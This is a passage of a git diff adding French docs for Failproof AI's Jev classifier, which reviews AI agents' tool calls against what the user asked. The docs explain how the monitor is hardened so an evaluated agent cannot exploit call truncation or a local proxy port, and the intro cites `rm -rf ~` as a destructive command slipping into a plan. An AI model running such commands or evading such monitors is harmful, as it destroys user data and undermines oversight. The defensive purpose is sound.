+- **OpenCode n'enregistre rien en pratique.** Son événement `message.updated` ne transporte aucun texte dans OpenCode actuel, et il se déclenche également pour les sessions enfants créées par son outil de tâche, dont le message « user » est rédigé par l'agent parent.
+- **`CODEX_HOME` n'est pas respecté** par la découverte de rollout dans `lib/codex-sessions.ts`. Cela n'affecte que l'endroit où un snapshot de message d'agent est recherché, jamais si un prompt est enregistré.
\ No newline at end of file
diff --git a/docs/fr/reference/jev-providers.mdx b/docs/fr/reference/jev-providers.mdx
new file mode 100644
index 000000000..86651bcd3
--- /dev/null
+++ b/docs/fr/reference/jev-providers.mdx
@@ -0,0 +1,275 @@
+---
+title: "Fournisseurs Jev et configuration avec votre propre clé"
+description: "Points de terminaison des fournisseurs, identifiants de modèles, configuration et comportement en cas d'échec pour la révision de politique Jev en direct avec votre propre clé."
+icon: "key-round"
+---
+
+Ceci est la référence des fournisseurs et de la configuration pour les [politiques Jev](/fr/policies/jev) avec votre propre clé. Les politiques par expression régulière correspondent à des chaînes de caractères. Elles ne peuvent pas distinguer `rm -rf build/` que vous avez demandé de `rm -rf ~` qui s'est glissé dans un plan — elles bloquent donc trop à certains endroits et pas assez à d'autres. **Jev**, le classificateur de TypeSafe, analyse l'appel au regard de ce que vous avez réellement demandé et répond à un ensemble de questions oui/non à son sujet en une seule requête rapide.
+
+Avec votre propre point de terminaison et clé Jev configurés, Failproof AI interroge Jev sur chaque appel d'outil **en parallèle** des politiques par expression régulière, et non à leur place :
+
+- Le refus d'une politique **stricte** est définitif. Jev ne peut pas l'annuler. Toute politique est stricte sauf si elle est explicitement marquée comme révisable et nomme les vérifications Jev qui la couvrent ; ainsi, une politique personnalisée, de pack ou Cloud qui ne dit rien est stricte, et la protection automatique toujours active est toujours stricte.
+- Le refus d'une politique **révisable** peut être annulé, mais uniquement si Jev a été interrogé sur la préoccupation exacte couverte par cette politique et a répondu « rien ici » ou « l'utilisateur l'a demandé ». Une vérification qui juge la préoccupation réelle, lorsque l'utilisateur n'a pas demandé l'appel, maintient le refus — même si son propre verdict n'est qu'un avertissement, car avant un appel d'outil un avertissement n'arrête pas l'agent. Et lorsque cette vérification est de celles qui peuvent refuser (exposition de secrets, exfiltration d'identifiants, suppression destructrice, …), rien n'est annulé pour cet appel.
+- Un blocage peut tout de même devenir un **avertissement** lorsque l'appel est une étape de la tâche que vous avez confiée et ne va pas au-delà : Jev adoucit son propre refus en avertissement, et cet avertissement — nommant ce qui pose réellement problème dans l'appel — remplace le blocage de la politique.
+- Jev peut aussi avertir ou refuser de son propre chef, pour des risques qu'aucune expression régulière ne décrit.
+- Si Jev ne peut pas répondre (délai dépassé, limite de débit, erreur serveur, crédits épuisés, version de modèle inattendue), cet appel reçoit le résultat des expressions régulières, exactement comme sans Jev.
+- Jev ne rend jamais un appel plus permissif que vos politiques seules, sauf s'il a lu l'intégralité de l'appel et a été interrogé sur la préoccupation exacte. Tout ce qui est en dessous de ce seuil — un appel trop volumineux pour être envoyé en entier, une injection suspectée — retire les autorisations et maintient chaque refus.
+
+
+Sans configuration Jev, rien ne change : les hooks exécutent les politiques par expression régulière exactement comme ils l'ont toujours fait. La configuration constitue l'intégralité de l'opt-in.
+
+
+
+Vous utilisez FailproofAI Cloud ? Vous n'avez pas besoin d'une clé personnelle : une machine connectée avec une clé portant `jev:evaluate` peut utiliser Jev sur le plan de votre organisation. Consultez [Jev via FailproofAI Cloud](/fr/reference/jev-cloud).
+
+
+## Avant de commencer
+
+Installez **failproofai 1.0.8-beta.0 ou une version ultérieure** et rattachez ses hooks à un [harnais compatible](/fr/reference/harnesses) sur la machine où votre agent s'exécute. Suivez le [guide de démarrage rapide](/fr/start/quickstart) s'il s'agit d'une nouvelle machine, ou [configurez l'application locale des politiques](/fr/start/setup#enforce-locally) si vous n'utilisez pas Cloud. Vérifiez la CLI installée avec `failproofai --version`.
+
+Obtenez une clé API auprès d'un fournisseur ci-dessous, ou ayez un point de terminaison compatible et sa clé prêts. Jev révise les appels d'outils nommés à la porte `PreToolUse` ou `PermissionRequest`. Il peut émettre son propre verdict, mais l'annulation d'un refus de politique existant nécessite également une politique installée marquée comme [révisable](/fr/policies/authority). Les refus de politiques strictes restent définitifs.
+
+## Choisir un fournisseur
+
+Jev est accessible via cinq routes. Apportez une clé pour l'une d'entre elles.
+
+| Fournisseur | `--provider` | Point de terminaison | Modèle par défaut | Notes |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | Épinglage de version exact. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | Les requêtes sont acheminées exclusivement vers des points de terminaison à zéro rétention de données, sans basculement vers un autre fournisseur. Indique une version datée telle que `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | Désigne Jev uniquement par un alias, donc la version qui répond est enregistrée comme non vérifiée. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | Nécessite `--account-id`. Environ six appels par seconde par clé ont été mesurés avant l'obtention d'un HTTP 429. |
+| Votre propre point de terminaison | `custom` | `/systemone` | `jev-1.13.0` | Tout point de terminaison qui accepte le corps de requête de TypeSafe et indique quel modèle a répondu. `https` uniquement ; le simple `http://localhost` est accepté en mode observation uniquement. |
+
+
+Avec la fonctionnalité bring-your-own-key de Vercel, une requête échouée est silencieusement réessayée avec les identifiants de Vercel. Si vous avez besoin que chaque appel soit facturé uniquement sur votre compte TypeSafe personnel et visible uniquement par lui, utilisez TypeSafe directement.
+
+
+## Configuration
+
+Une seule commande, le point de terminaison et la clé. Commencez en mode `observe` pour pouvoir inspecter les verdicts de Jev pendant que les politiques existantes continuent de décider des appels :
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+```
+
+### L'URL détermine le fournisseur
+
+Vous n'avez pas à nommer le fournisseur : l'**hôte** de l'URL indique de quel fournisseur il s'agit.
+
+| Hôte de l'URL | Fournisseur | Nécessite également |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| tout autre hôte | `custom` | — l'URL fournie est l'URL de base |
+
+Trois conséquences en découlent :
+
+- **Une URL qui correspond à l'API propre du fournisseur n'écrit aucune substitution.** `--url https://api.typesafe.ai/v1` produit exactement la même configuration que `--provider typesafe`. Fournissez un chemin ou un hôte différent sur un fournisseur connu et il est stocké comme URL de base, comme le ferait `--base-url`.
+- **`--provider` remplace toujours l'inférence**, ce qui permet d'accéder à un proxy qui parle l'API d'un fournisseur depuis un hôte qui vous appartient : `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **Un `--provider` qui contredit l'hôte est refusé**, sans tentative de deviner. `--provider openrouter --url https://api.typesafe.ai/v1` n'écrit rien et explique pourquoi : les deux indications ne s'accordent pas sur l'endroit où votre clé va être envoyée. La même paire est refusée depuis `jev setup --base-url` et depuis les paramètres Jev du tableau de bord. (`--provider custom` n'est pas une contradiction — cela signifie « traiter cette URL telle quelle » — sauf sur l'hôte de Cloudflare, dont le point de terminaison par compte ne peut pas être atteint par une route custom.)
+
+`--url` est validée exactement comme l'est `baseUrl` dans le fichier de configuration, et refusée avec les mêmes messages : `https`, ou le simple `http://localhost` en mode observation uniquement.
+
+### La clé
+
+Transmettez-la avec `--key-stdin`, ou exécutez la commande dans un terminal sans cet argument et collez la clé à l'invite masquée. Dans les deux cas, elle est directement écrite dans le fichier de configuration et n'est jamais réaffichée.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --mode observe --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 --mode observe \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --mode observe --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --mode observe --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` accepte les mêmes options et est la forme longue de tout ceci : `setup --provider ` lorsque vous préférez nommer le fournisseur plutôt que l'URL.
+
+### `--token` et ce que ça coûte
+
+`--token ` place la clé sur la ligne de commande, ce qui est la méthode la plus rapide pour configurer une machine et la seule façon de laisser la clé ailleurs que dans le fichier de configuration :
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+Un argument de ligne de commande se retrouve ensuite dans le fichier d'historique de votre shell, et pendant l'exécution de la commande, il est dans la liste des processus — lisible depuis `/proc` par tout ce qui s'exécute sous votre identité. `setup` le signale à chaque utilisation de `--token`. Préférez `--key-stdin` sur une machine partagée, dans une session enregistrée, ou partout où le fichier d'historique est synchronisé ; effectuez une rotation d'une clé transmise de cette façon si cela a de l'importance.
+
+
+`--token`, `--key-stdin` et `--key-from-env` sont mutuellement exclusifs : n'en fournissez qu'un seul.
+
+Envoyez ensuite une petite requête réelle pour vérifier la clé, le point de terminaison et quelle version de Jev a répondu :
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` se termine avec le code 1, et l'indique dans son titre, lorsque la réponse arrive après le délai d'expiration (chaque hook basculerait alors vers les expressions régulières avec la raison `timeout`) ou répond incorrectement à sa question de vérification.
+
+Les hooks lisent la configuration à chaque appel d'outil, donc elle s'applique dès l'appel suivant. Il n'y a rien à redémarrer, avec ou sans le démon.
+
+## Vérifier ce qu'il fait
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` affiche le fournisseur, le point de terminaison, le modèle, le mode, le fichier de configuration et ses permissions, mais jamais la clé. En dessous, il résume l'activité récente : le nombre d'appels évalués par Jev, la fréquence des basculements vers les expressions régulières et leur cause, la latence, et les politiques révisables qu'il a levées.
+
+## Vérifier un appel réel
+
+Démarrez une nouvelle session dans l'agent instrumenté. Demandez-lui d'utiliser son outil de lecture de fichier sur `README.md` et d'en rapporter le titre. Confirmez que la session contient cet appel d'outil, puis exécutez à nouveau `failproofai jev status` : son nombre d'appels évalués récents devrait avoir augmenté. Ouvrez **Politiques → Activité** dans le [tableau de bord local](/fr/reference/local-dashboard#review-policy-activity) pour inspecter le verdict Jev de l'appel et son mode. En mode observation, le résultat de la politique décide toujours de l'appel. Une levée n'apparaît que si une politique révisable a correspondu et que Jev a levé chaque vérification nommée ; une simple lecture peut n'avoir aucune politique à lever.
+
+## Mode observation
+
+`enforce` est la valeur par défaut. Pour observer Jev sans lui permettre de modifier aucune décision, passez en mode `observe` : Jev est toujours interrogé et ses verdicts sont enregistrés, mais c'est le résultat des expressions régulières qui est appliqué.
+
+```bash
+failproofai jev setup --mode observe
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` conserve la configuration — le point de terminaison et la clé — et cesse d'interroger Jev : les hooks exécutent les politiques par expression régulière exactement comme sans configuration, et `failproofai jev status` affiche « off (switched off) ». Rebasculez avec `--mode observe` ou `--mode enforce`.
+
+Relancer `setup` pour le même fournisseur conserve la clé stockée, de sorte qu'un changement de mode ne nécessite qu'un seul paramètre. Changer de fournisseur repart de zéro et demande la clé de ce fournisseur. De même pour un `--base-url` qui déplace les requêtes vers un hôte différent : une clé stockée n'est envoyée qu'à l'hôte pour lequel elle a été fournie, ou à l'API propre de son fournisseur.
+
+## Le fichier de configuration
+
+Tout réside dans un seul fichier, `~/.failproofai/jev.json`, écrit par `setup` :
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| Champ | Signification |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` ou `custom` — ou `failproofai`, dont la clé provient de la connexion FailproofAI Cloud plutôt que de ce fichier (voir [Jev via FailproofAI Cloud](/fr/reference/jev-cloud)). |
+| `apiKey` | Envoyée comme `Authorization: Bearer `. |
+| `baseUrl` | Obligatoire pour `custom` ; remplace la base d'API du fournisseur dans les autres cas. Doit être `https`. Le simple `http` vers `localhost` n'est accepté qu'avec `mode: observe` : rien n'authentifie un port local, donc pendant que votre proxy est arrêté, tout processus sur la machine, y compris l'agent en cours d'évaluation, pourrait répondre à sa place. |
+| `accountId` | Cloudflare uniquement : 32 caractères hexadécimaux minuscules. |
+| `model` | Remplace l'identifiant de modèle par défaut du fournisseur. Un identifiant versionné doit désigner Jev 1.13. Une valeur ayant la forme d'une clé API est refusée (et non répétée), de sorte qu'une clé collée dans `--model` n'est jamais stockée ni envoyée comme modèle. |
+| `timeoutMs` | Durée d'attente d'un appel d'outil pour Jev avant d'utiliser le résultat des expressions régulières. De 100 à 10000, valeur par défaut 3000. |
+| `mode` | `enforce` (par défaut), `observe`, ou `off` (conserver la configuration, n'exécuter aucun Jev). |
+
+Trois règles le protègent :
+
+- **Propriétaire uniquement.** Il est écrit avec les permissions `0600`. Une copie lisible ou modifiable par un autre utilisateur ou groupe est **refusée**, et les hooks basculent vers les expressions régulières jusqu'à ce que vous exécutiez `chmod 600 ~/.failproofai/jev.json` ou `setup` à nouveau. Le répertoire est également vérifié : `~/.failproofai` ne doit pas être **accessible en écriture** par quiconque d'autre, car celui qui peut écrire là peut remplacer le fichier quelles que soient ses propres permissions. `setup` retire ces bits d'écriture s'il les trouve. `failproofai jev status` indique quand une configuration a été refusée et affiche le point de terminaison nommé dans le fichier : quelqu'un d'autre aurait pu le modifier, alors vérifiez qu'il vous appartient avant de faire `chmod`. Relancer `setup` sur un tel fichier ne porte sa clé stockée qu'à l'API propre du fournisseur ; tout autre point de terminaison qu'il désigne a besoin à nouveau de la clé (`--key-stdin`), ou de `--base-url default` pour renvoyer les requêtes vers le fournisseur.
+- **Portée globale uniquement.** Un dépôt ne peut pas activer Jev, le pointer vers un autre point de terminaison ou choisir son modèle : un `.failproofai/jev.json` à l'intérieur d'un projet est ignoré, et le fournisseur, l'URL, le modèle et l'identifiant de compte ne sont lus que depuis ce fichier — jamais depuis l'environnement, que les paramètres d'agent d'un dépôt peuvent définir. (`FAILPROOFAI_HOME` ne contourne pas cela : il déplace l'intégralité du répertoire failproofai, politiques comprises, plutôt que de rediriger Jev seul.)
+- **La clé seule peut provenir de l'environnement.** Si le fichier n'a pas de `apiKey`, `FAILPROOFAI_JEV_API_KEY` la fournit pour cette session (`setup --key-from-env` écrit un tel fichier). Elle ne remplace jamais une clé déjà présente dans le fichier, et elle ne peut pas activer Jev sans le fichier. Lorsque la variable n'est pas définie, Jev est simplement désactivé pour ce shell : `failproofai jev status` l'indique, se termine avec le code 0 et laisse la configuration telle quelle (`status --json` rapporte `"status": "key-missing"` avec `"reason": "no-env-key"`). Le démon `failproofaid` ne voit pas l'environnement de votre shell, donc sur une machine configurée avec `failproofai config`, conservez la clé dans le fichier.
+
+## Quelle version de Jev répond
+
+Les seuils de décision de Failproof AI ont été calibrés sur Jev 1.13, donc une réponse n'est utilisée que lorsqu'elle provient de cette famille : `jev-1.13.x`, ou le `typesafe/jev-1.13-` d'OpenRouter. Lorsqu'un fournisseur ne désigne Jev que par un alias et ne rapporte aucune version (Vercel, et Cloudflare quand il ne le précise pas), la réponse est utilisée et enregistrée comme non vérifiée. Un point de terminaison `custom` doit indiquer le modèle qui a répondu ; la seule exception est un nom `--model` non versionné que vous avez configuré pour lui, qui, répété en retour, est enregistré comme non vérifié de la même façon. Une réponse indiquant toute autre version, ou une réponse `custom` n'en indiquant aucune, n'est pas utilisée : cet appel bascule vers les expressions régulières avec la raison `model-mismatch`.
+
+## Quand Jev ne peut pas répondre
+
+Chacun de ces cas bascule vers le résultat des expressions régulières pour cet appel et est enregistré avec sa raison, que `failproofai jev status` totalise :
+
+| Raison | Cause |
+| --- | --- |
+| `timeout` | Aucune réponse dans le délai `timeoutMs`. |
+| `http-429` | Le fournisseur a limité le débit de la clé. |
+| `rate-limited` | Le limiteur propre de Failproof AI a retenu l'appel avant de l'envoyer : 5 requêtes par seconde, par rafales de 5 au maximum, et aucune pendant un moment après que le fournisseur répond `429`. Pas le fournisseur. |
+| `http-500`, `http-502`, `http-503`, … | Une erreur serveur chez le fournisseur. Le statut exact est enregistré. |
+| `out-of-credits` | HTTP 402 : le compte du fournisseur n'a plus de crédits. |
+| `provider-refused` | HTTP 402 de Cloudflare indiquant « Model execution failed (Payment error) » : le fournisseur a refusé d'exécuter le modèle sur cette requête. Généralement pas lié à la facturation, donc recharger les crédits ne changera rien. |
+| `http-401`, `http-403` | La clé a été refusée. |
+| `http-404` | Rien n'est servi à `/systemone`, donc l'URL de base est incorrecte — `/systemone` lui est ajouté, et chaque fournisseur le sert à sa racine de version. `failproofai jev models` montre ce que le point de terminaison sert effectivement. |
+| `network` | Le point de terminaison était inaccessible. |
+| `http-301`, `http-302`, `http-307`, `http-308` | Le point de terminaison a répondu par une redirection. Les redirections ne sont jamais suivies, donc la réponse ne provient que de l'URL dans votre configuration ; définissez `--base-url` sur l'URL finale. |
+| `malformed` | Le point de terminaison a répondu, mais pas avec une réponse Jev — un corps qui n'est pas du JSON, ou qui ne contient aucune réponse. |
+| `cloudflare-error`, `cloudflare-incomplete` | L'enveloppe de Cloudflare a signalé un échec, ou une tâche non terminée. |
+| `model-mismatch` | Une version de Jev autre que 1.13 a répondu, ou un point de terminaison `custom` n'a pas indiqué quel modèle a répondu. |
+| `request-cut` | **Pas une panne.** Jev a répondu ; il n'a vu qu'une partie de l'appel, donc sa réponse n'a rien levé. Voir [Quand Jev a répondu, mais pas sur l'intégralité de l'appel](#when-jev-answered-but-not-on-the-whole-call). |
+
+`failproofai jev status` peut également afficher quelques raisons plus rares, comme `upstream-error` (la réponse portait l'erreur propre du fournisseur) ou `config`, et totalise toute raison qu'il ne peut pas nommer sous `other`.
+
+`request-cut` figure dans ce tableau parce que `failproofai jev status` le totalise avec les autres, et parce que lui aussi laisse chaque refus en place. C'est la seule raison ici qui ne dit rien sur votre fournisseur : la requête est arrivée et Jev y a répondu. Contrairement à toutes les lignes précédentes, cette réponse compte tout de même — le refus ou l'avertissement propre de Jev s'applique en plus du résultat des expressions régulières plutôt que d'être ignoré. Ainsi, une série de ces cas signifie que des appels atteignent l'évaluateur en étant trop volumineux pour être envoyés en entier, et non que votre point de terminaison est défaillant — recharger des crédits ou changer l'URL ne fera pas bouger ce nombre.
+
+## Quand Jev a répondu, mais pas sur l'intégralité de l'appel
+
+Deux autres situations peuvent se produire, et aucune n'est un échec de réponse de Jev. Toutes deux concernent la quantité de l'appel, ou de la conversation, qui a tenu dans une seule requête.
+
+**Une partie de l'appel lui-même n'a pas tenu.** Un appel d'outil est envoyé dans un budget fixe, et un appel surdimensionné — un très grand `Write`, un énorme corps MCP, une commande gonflée jusqu'à la limite — est envoyé avec ce qui a tenu. Jev répond quand même, et sa réponse compte toujours : son propre refus ou avertissement s'applique normalement. Ce qu'il ne peut pas faire, c'est **lever** quoi que ce soit, car un verdict rendu sur une partie d'un appel n'est pas un verdict sur l'appel. Ainsi, chaque refus de politique reste en place, et l'appel est enregistré comme un basculement avec la raison `request-cut`, que `failproofai jev status` totalise aux côtés des raisons ci-dessus. La règle que cela vous donne : rendre un appel plus volumineux peut lui coûter ses levées, et n'en achète jamais une.
+
+**Un message n'a pas tenu.** Une longue invite que vous avez collée, le dernier message de l'agent, ou une invite que le propre magasin de cet évaluateur avait déjà tronquée. **Rien ne change** : l'appel est jugé, levé et enregistré exactement comme n'importe quel autre, et il n'est pas comptabilisé comme un basculement. La longueur de ce que vous tapez ne décide jamais d'un verdict, et une troncature ne peut pas fabriquer un consentement : là où une invite est arrivée déjà tronquée, « vous n'avez pas demandé cela » cesse d'être une conclusion qui peut en être tirée, plutôt que de le devenir.
+
+La ligne de démarcation entre les deux est l'auteur du texte. L'appel est celui de l'agent, et une règle qui laisserait sa longueur atténuer la gravité serait une règle que l'agent peut exploiter ; votre invite est la vôtre, et traiter sa longueur comme un signal n'aurait pour effet que de pénaliser le fait de coller une spécification ou une trace de pile.
+
+## Ce qui quitte la machine
+
+Pour chaque appel d'outil que Jev évalue, une requête est envoyée à votre fournisseur, portant :
+
+- l'appel d'outil lui-même, avec les secrets tels que les clés API, les jetons porteurs et les affectations `KEY=` expurgés ;
+- les invites récentes que vous avez tapées, avec le texte ajouté par le harnais de votre agent supprimé ;
+- le dernier message de l'agent avant votre dernière invite, étiqueté comme écrit par l'agent ;
+- des faits calculés localement, comme si un chemin est à l'intérieur du projet — celui dans lequel la session se trouvait lors de son premier appel révisé, [épinglé pour la session](/fr/reference/jev-intent#the-project-root) — et la branche git actuelle.
+
+Elle n'est envoyée qu'au point de terminaison dans votre configuration, sous votre clé.
+
+## Désactiver
+
+```bash
+failproofai jev remove
+```
+
+Cela supprime `~/.failproofai/jev.json`. À partir de l'appel d'outil suivant, les hooks exécutent les politiques par expression régulière exactement comme avant. Les magasins par session sous `~/.failproofai/state/semantic/` (invites enregistrées dans `sessions/`, racines de projet dans `roots/`) sont laissés en place et expirent naturellement. Pour cesser d'interroger Jev tout en conservant la configuration, utilisez plutôt `failproofai jev setup --mode off`.
+
+## Référence des commandes
+
+| Commande | Résultat |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | Configuration en une seule commande ; le fournisseur est déduit de l'hôte de l'URL |
+| `failproofai jev --url --token ` | Idem, avec la clé sur la ligne de commande — votre historique et la liste des processus la voient |
+| `failproofai jev setup --provider --key-stdin` | Écrire la configuration à partir d'une clé transmise sur stdin |
+| `failproofai jev setup --provider ` | Idem, en demandant la clé à une invite masquée |
+| `failproofai jev setup --key-from-env` | Ne stocker aucune clé ; lire `FAILPROOFAI_JEV_API_KEY` par session |
+| `failproofai jev setup --mode observe` | Changer de mode (`enforce`, `observe` ou `off`), en conservant la clé stockée |
+| `failproofai jev setup --model ` / `--base-url ` | Remplacer le modèle ou la base d'API ; `default` supprime la substitution |
+| `failproofai jev setup --timeout-ms ` | Modifier le budget par appel |
+| `failproofai jev status [--json]` | Configuration, permissions et activité récente ; jamais la clé |
+| `failproofai jev test [--json]` | Une requête réelle : latence et version qui a répondu |
+| `failproofai jev models [--provider ] [--url ] [--json]` | Les identifiants de modèles que le `/models` du point de terminaison rapporte, en marquant celui configuré |
+| `failproofai jev remove` | Supprimer la configuration ; Jev est désactivé |
\ No newline at end of file
diff --git a/docs/fr/reference/jev.mdx b/docs/fr/reference/jev.mdx
new file mode 100644
index 000000000..4dd816fd3
--- /dev/null
+++ b/docs/fr/reference/jev.mdx
@@ -0,0 +1,22 @@
+---
+title: "Référence d'intégration Jev"
+description: "Configuration, fournisseurs, clés, données de requête et comportement en cas d'échec pour Jev."
+icon: "braces"
+---
+
+Jev a deux usages dans Failproof AI :
+
+| Usage | Moment d'exécution | Ce qu'il retourne | Par où commencer |
+| --- | --- | --- | --- |
+| Évaluation de session | Après la fin d'une session | Un score pour une question à réponse fixe | [Évaluations Jev](/fr/evaluations/jev) |
+| Révision de politique d'appel d'outil | Avant l'exécution d'un appel d'outil contrôlé | Un verdict aux côtés des politiques installées | [Politiques Jev](/fr/policies/jev) |
+
+## Pages de référence
+
+| Sujet | Détails |
+| --- | --- |
+| [Questions d'évaluation](/fr/reference/jev-evaluations) | Critères booléens et de score ordonné, résultats, limites et remplissage rétrospectif. |
+| [Comparaison des fournisseurs et configuration avec clé propre](/fr/reference/jev-providers) | TypeSafe, OpenRouter, Vercel, Cloudflare et points de terminaison personnalisés ; inférence d'URL, identifiants de modèle, `jev.json`, modes et codes de repli. |
+| [Route FailproofAI Cloud](/fr/reference/jev-cloud) | Permissions des clés machine, configuration automatique de l'observation, limites d'utilisation, état de connexion et gestion des données. |
+
+Les commandes CLI locales sont répertoriées dans la [référence CLI Failproof AI](/fr/reference/failproof-cli). La [référence du tableau de bord local](/fr/reference/local-dashboard#set-up-jev) décrit ses paramètres Jev et sa vue d'activité.
\ No newline at end of file
diff --git a/docs/fr/sessions/sentiment.mdx b/docs/fr/sessions/sentiment.mdx
new file mode 100644
index 000000000..1c862cc24
--- /dev/null
+++ b/docs/fr/sessions/sentiment.mdx
@@ -0,0 +1,43 @@
+---
+title: "Analyse des sentiments"
+description: "Identifiez les messages frustrés, confus et correctifs grâce aux scores de sentiment Jev."
+icon: "smile"
+---
+
+Jev attribue à chaque message envoyé par un utilisateur à vos agents un score de 0 à 100 pour quatre émotions — **en colère**, **frustré**, **satisfait** et **confus** — ainsi que trois signaux sur la qualité des réponses de l'agent :
+
+- **Correction** : l'utilisateur indique que l'agent a commis une erreur.
+- **Résolu** : l'utilisateur confirme que l'agent a résolu son problème.
+- **Sceptique** : l'utilisateur remet en question la véracité de la réponse de l'agent, ou doute qu'il ait réellement effectué le travail.
+
+Utilisez l'analyse des sentiments pour repérer les conversations où les utilisateurs perdent patience, les agents qui se font souvent corriger, et les réponses qui fonctionnent bien. Il s'agit d'un scoring Jev intégré ; vous n'avez pas besoin de créer une évaluation. Pour vos propres questions à réponse fixe, [créez une évaluation Jev](/fr/evaluations/jev).
+
+
+ L'analyse des sentiments est désactivée par défaut jusqu'à ce qu'un administrateur l'active pour l'organisation. Jev effectue une requête de scoring par message et reçoit ce message accompagné de la réponse précédente de l'agent. Le scoring est décompté du budget de modèle de votre organisation.
+
+
+## Activer la fonctionnalité
+
+1. Accédez à **Administration → Paramètres**.
+2. Sous **Sentiment des saisies humaines**, activez l'option et enregistrez.
+
+Les messages du dernier jour sont scorés en priorité. Ensuite, les nouveaux messages sont scorés dans la minute ou les deux minutes suivant leur arrivée.
+
+## Trouver une conversation à analyser
+
+Ouvrez **Observer → Sentiments**. Filtrez par période, environnement, agent ou identifiant de session. L'en-tête affiche le nombre de messages et de sessions, indique combien de messages sont **signalés**, et mentionne le signal dominant. Un message est signalé lorsqu'un score de colère, frustration, correction, confusion ou scepticisme atteint 35 sur 100.
+
+
+
+Utilisez **Score dans le temps** pour comparer les signaux. Choisissez les scores à afficher, puis sélectionnez un point pour voir les messages de ce créneau temporel. Le tableau **Par agent** indique où un signal est concentré. Dans **Messages**, triez par le score négatif le plus élevé ou sélectionnez un score unique. Ouvrez un message dans sa session pour lire la conversation environnante avant de déterminer ce qui a échoué.
+
+
+
+## Quels messages sont scorés
+
+Uniquement les messages rédigés par un utilisateur :
+
+- Les messages que vos agents personnalisés enregistrent comme saisie humaine via le SDK.
+- Les invites saisies dans Claude Code, Codex, OpenCode, pi, Hermes et OpenClaw, lorsque les transcripts de session sont envoyés (comportement par défaut). Les tâches planifiées, les instructions injectées, les transferts entre sous-agents et les autres textes générés par le runtime de l'agent lui-même ne sont pas scorés. De même, les exécutions non interactives telles que `claude -p`, `codex exec` et `hermes -z` ne sont pas scorées : ces invites ont été écrites par un script, et non par un utilisateur.
+
+Le scoring évalue les mots propres à l'utilisateur. Une instruction courte et directe comme « corrige ça » n'est pas comptabilisée comme de la colère, et poser une question n'est pas comptabilisé comme de la confusion. Une nouvelle demande ne constitue pas une correction, et un simple remerciement ne compte pas comme résolu.
\ No newline at end of file
diff --git a/docs/fr/start/use-jev.mdx b/docs/fr/start/use-jev.mdx
new file mode 100644
index 000000000..071250002
--- /dev/null
+++ b/docs/fr/start/use-jev.mdx
@@ -0,0 +1,63 @@
+---
+title: "Utiliser Jev"
+description: "Configurez les évaluations Jev pour les sessions terminées ou les politiques Jev pour l'examen des appels d'outils en direct."
+icon: "sparkles"
+---
+
+Jev intervient à deux moments dans l'exécution d'un agent : noter une session terminée par rapport à des réponses connues, ou examiner un appel d'outil dans le contexte de ce que vous avez demandé à l'agent de faire.
+
+
+
+ Utilisez une évaluation Jev lorsqu'une session terminée peut être notée par rapport à une question avec quelques réponses connues, par exemple « Le client a-t-il demandé un remboursement ? Répondez par oui ou non. » Cela vous aide à identifier des tendances entre les sessions.
+
+ ## Créer une évaluation
+
+ Dans le tableau de bord Cloud, ouvrez **Analyser → création d'évaluation → nouvelle évaluation**. Saisissez une question à réponse fixe, sélectionnez **brouillon**, et vérifiez qu'un score de classification a été choisi. [Testez-la](/fr/evaluations/test) sur de vraies sessions, puis déployez-la.
+
+ 
+
+ ## Consulter les scores
+
+ Après la fin d'une nouvelle session, ouvrez **Observer → Évaluations** ou utilisez le CLI Cloud :
+
+ ```bash
+ fp evals --since 7d
+ fp evals --aggregate --since 7d
+ ```
+
+ Le CLI lit les scores ; la création d'une évaluation Jev utilise actuellement le tableau de bord. Consultez [les évaluations Jev](/fr/evaluations/jev) pour les types de questions et des exemples.
+
+
+ Utilisez l'examen des politiques Jev lorsqu'une politique par correspondance de chaînes a besoin du contexte de votre requête pour déterminer si un appel d'outil est sûr. Commencez en mode **observe** pour pouvoir inspecter les réponses de Jev pendant que vos politiques installées continuent de traiter chaque appel.
+
+ Les vérifications de Jev proviennent d'un pack ; Failproof AI n'en fournit aucun. Tant que vous ne les installez pas, Jev ne pose aucune question, même s'il est configuré :
+
+ ```bash
+ failproofai policies add FailproofAI/jev-policies
+ ```
+
+ ## Configurer Cloud Jev
+
